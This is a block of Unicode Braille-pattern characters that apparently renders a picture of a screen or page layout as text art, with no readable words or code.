⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿ ⣿⣿⡿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿ ⣿⣿⡿⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⣒⡺⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡟⡭⢻⣿⣿⡿⡿⡿⠿⠿⠿⡿⡿⠿⠿⠿⠿⡿⡿⡿⠿⠿⠿⠿⠿⣿⡿⡿⢿⠿⠿⡿⠿⡿⠿⢿⠿⡿⠿⣿⡿⢿⢿⠿⠿⢿⠿⡿⡿⠿⠿⠿⡿⢿⡿⠿⡿⠿⢿⡿⠿⡿⣿⣿⡟⡛⢻⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣥⢿⣿⣿⣧⣧⣴⢽⣤⣤⣧⣮⣤⣤⣤⣮⣧⣮⡧⣦⣮⣥⣬⣮⣯⣭⣴⢼⣴⣭⣮⣤⣧⣦⢤⣭⣿⣾⣭⣧⣥⣽⣬⣯⣮⢭⣬⣧⣤⣤⣦⣯⣦⣿⣮⣧⣼⣴⢮⣤⣤⣽⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣷⣶⣼⣿⣿⣧⣭⣾⣤⣬⣾⣴⣶⣷⣵⣤⣤⣤⣐⣶⣦⣵⣾⣶⣮⣾⣤⣮⣤⣴⣾⣥⣦⣥⣯⣤⣴⣬⣾⣴⣶⣶⣶⣤⣁⣷⣤⣾⣵⣤⣤⣴⣥⣶⣠⣧⣵⣴⣾⣴⣤⣿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣏⠧⣹⣿⣿⣇⣉⣁⣋⣉⣏⣩⣈⣉⣏⣁⣟⣋⣉⣈⣉⣹⣧⣱⣁⣻⣉⣉⣹⣉⣉⣉⣩⣉⣯⣩⣉⣏⣩⣉⣉⣘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ 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⣿⣿⣿⣿⣿⣿⡟⡛⠛⠛⠛⠛⣾⣿⣿⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⡖⠒⠒⡾⠻⠒⣶⣾⣿⣿⣿⣿⠟⠻⠛⠛⢛⠟⡿⠚⡿⢻⠓⠓⢓⠻⣶⣶⣶⣿⡿⢛⠛⠛⡏⠛⠛⠛⢳⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⡃⠁⣀⢀⢀⡀⢸⡿⢿⠿⠿⠿⢿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢧⠤⢤⣵⠤⠤⠿⠿⠿⢿⣿⠧⠦⠤⡤⠤⡴⠆⣶⣤⣼⣬⣦⣦⣤⠡⠿⠿⠿⢿⠿⠬⢴⣦⡤⠤⠤⠤⢤⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠑⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠁⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⡤⢤⠤⠤⠤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣬⣦⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡤⢤⢤⣤⢤⢤⣤⣤⣤⣤⣤⣤⡤⢤⡤⡤⢤⡤⣤⡤⣤⢤⠤⠤⢤⢤⣤⣤⣤⣤⣤⢤⢤⠤⣤⡤⠤⠤⢬⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡿⡿⠿⠿⠿⠿⡿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣷⣶⣶⣦⣶⣶⣷⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡿⠿⠻⡿⠿⠻⢿⢿⡿⠿⠿⡿⡿⢿⠿⢿⠟⠿⠿⡿⡿⠿⠟⢿⠿⡟⠿⢿⠿⠟⢿⢿⡿⡿⠿⠿⡿⠿⠿⠻⡿⡿⠿⡿⠻⠿⢿⠿⢿⢿⠿⡟⠿⠿⠿⢻⢿⠿⠿⠿⠿⡟⠿⡿⠟⢿⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣼⣤⣤⣭⣧⣼⣤⣧⣬⣤⣭⣤⣥⣤⣼⣭⣥⣼⣥⣥⣜⣴⣥⣤⣬⣅⣿⣴⣦⣥⣥⣧⣤⣬⣤⣤⣬⣤⣬⣦⣥⣤⣧⣭⣤⣼⣤⣤⣭⣥⣧⣤⣭⣤⣬⣤⣭⣌⣡⣤⣧⣬⣽⣥⣥⣤⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡟⡛⢛⠋⡻⣿⠙⢝⠝⠉⠛⣿⠛⢋⡛⠛⢛⣿⠙⢉⢛⠛⢛⠛⢛⠋⢹⠛⡟⡛⣛⠋⡛⡛⠛⡛⣻⢛⣯⡏⢙⠟⢻⢉⢫⢽⠛⣟⠛⡛⢹⣿⢉⢟⠛⢻⠛⢛⣛⠋⡏⡍⠹⠛⢹⠙⣻⠙⡛⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣾⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣇⣸⣐⣈⣀⣁⢐⣁⣀⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣁⣶⣈⣿⣿⣿⣩⣍⢙⠻⠛⢿⠛⣛⢻⢛⢹⡏⡛⣛⡟⡋⡋⡛⣿⡛⡍⡛⢛⢛⠛⠋⣻⡟⢻⢋⠙⢟⠛⡛⡛⢛⡛⠛⣛⢛⠻⠛⡛⡻⢙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣉⣉ ⣿⡶⢿⣿⣿⣿⣿⣿⣾⣶⣾⣿⣾⣶⣾⣾⣾⣷⣶⣿⣶⣷⣶⣷⣿⣶⣷⣷⣾⣾⣶⣶⣾⣷⣾⣶⣾⣾⣶⣷⣷⣶⣶⣶⣿⣾⣶⣶⣷⣷⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿ ⣧⣞⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⢛⣶⡛⣿⣿⣿⣾⣍⣉⣉⣁⣸⣈⣹⣅⣈⣈⣁⣹⣉⣉⣉⣅⣁⣉⠉⣇⣉⣉⣍⣸⣉⣉⣉⣫⣁⣉⣽⢉⣉⣉⣍⣇⣉⡏⣭⣉⣉⣭⣉⣁⣉⣉⣍⢿⣍⣉⣈⣉⣍⣹⣸⣉⣉⣁⣉⣈⣩⣡⣯⣁⣉⣍⣉⣹⣿⣿⣿ ⣷⣭⣾⣿⣿⣿⢛⠟⢟⠛⠋⠛⡟⠛⠙⢛⡏⡛⢛⡛⠋⠛⣟⠙⢻⢋⠻⠛⠛⡛⠛⢙⠛⡟⠛⠛⣻⠋⡻⠛⠛⡋⡏⠛⠛⡛⠛⠛⠛⢛⠋⡻⠛⢛⡝⢛⢟⠛⢛⣛⠙⠛⡟⡛⠛⠙⢛⣛⠛⠛⠛⠋⠛⣿⠛⠛⠛⠛ ⣿⣿⣿⣿⣿⣿⢴⣷⣶⣧⣶⣶⢷⣾⣶⣶⣷⣶⢶⣷⣶⣽⣷⣶⣾⣶⣶⢶⡶⢧⣶⣶⠶⣧⣴⣾⣾⣶⣶⣶⣶⢶⣷⡶⣶⣶⣶⣶⢶⣾⣶⣶⡮⡾⣶⢶⣶⣷⣾⣷⣶⣶⣷⠷⢤⡶⠶⢥⣷⣶⣦⡶⣶⣾⢾⣶⣶⣿ ⣿⣿⣿⣿⣿⣿⣿⣤⣰⣴⣤⣤⣼⣤⣤⣤⣦⣼⣤⣤⣦⣤⣧⣤⣼⣠⣴⣴⣤⣤⣤⣴⣤⣦⣴⣼⣥⣤⣼⣤⣤⣤⣤⣤⣧⣤⣤⣴⣤⣹⣤⣤⣤⣧⣷⣴⣴⣼⣶⣤⣼⣀⣤⣤⣤⣷⣴⣤⣤⣤⣤⣇⣤⣤⣼⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⠙⠛⡛⢛⡏⠙⠙⢻⠛⠙⠛⠛⢻⡛⡛⠛⡛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⢋⠻⠋⠻⡉⠝⠻⠛⢿⡏⡏⠝⠛⡛⠛⠛⡩⠙⡻⠛⢛⠏⢻⠋⡏⠟⠛⠻⠛⢟⠛⠛⠛⠉⠛⠙⠋⠙⠛⣿⢻⠏⡍⡙⠋⠉⠟⠟⢿⠉⢉⣻⠛⠛⡛⠟⠉⠛⢻⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 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⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶ ⡿⣛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⠶⡶ ⣶⣛⣶⣿⣿⣿⣁⣈⣁⣹⣆⣘⣉⣹⣉⣉⣹⣉⣉⣉⣹⣉⣉⣺⣋⣉⣉⣭⣉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢷⣶⣶ ⡟⢛⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣛⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣔⠿⣢⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀ ⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⢭⣭⣭ ⠋⣤⠙⣿⣿⣿⡿⠿⢿⢿⡿⡿⢿⡿⠿⡿⠿⡿⠿⢿⢿⠟⠿⠛⠿⠿⢿⡿⣿⠿⣿⠿⡿⠿⡿⠿⡿⠿⠿⠿⠿⢿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠛ ⣿⣭⣿⣿⣿⣿⣥⣥⣤⣼⣤⣬⣦⣬⣤⣧⣬⣯⣬⣥⣾⣥⣤⣤⣤⣼⣬⣧⣥⣵⣤⣦⣤⣬⣧⣤⣧⣴⣦⣤⣧⣼⣢⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣙⣛⣛ ⣇⣅⣸⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⠿⣭⠿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣦⣉⣴⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣭⣭⣭⣭⣭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣋⣋⣛⣛⣙⣛⣛⣛⣛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢛⣛⣛ ⣋⣶⣙⣿⣿⣿⠟⠻⠟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣉⣉ ⣿⣶⣿⣿⣿⣿⣦⣴⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿ ⣿⣿⣿⣿⣿⣿⠛⡟⣿⡟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⡟⡟⢻⢻⢻⢻⣿⣿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⣿⠛⠛⣿⣿⣿⣿⣿⢻⣿⢻⠛⣿⣿⣿⣿⡟⢻⠛⠛⣿⣿⣿ ⢿⣶⡿⣿⣿⣿⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⣤⣀⣇⣀⣀⣐⣤⣤⣂⣀⣸⣀⡸⠀⣌⣀⣀⣠⡤⢤⠀⣸⣀⣈⣤⣤⣜⣀⣸⣢⣤⣜⣀⣀⣀⣀⣀⣀⣀⣶⣀⣀⣀⠀⣀⣀⣀⣀⣀⣀⢰⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀ ⣷⣭⣾⣿⣿⣿⠀⠉⠉⠉⢹⠈⠉⠉⠁⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣾⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉ 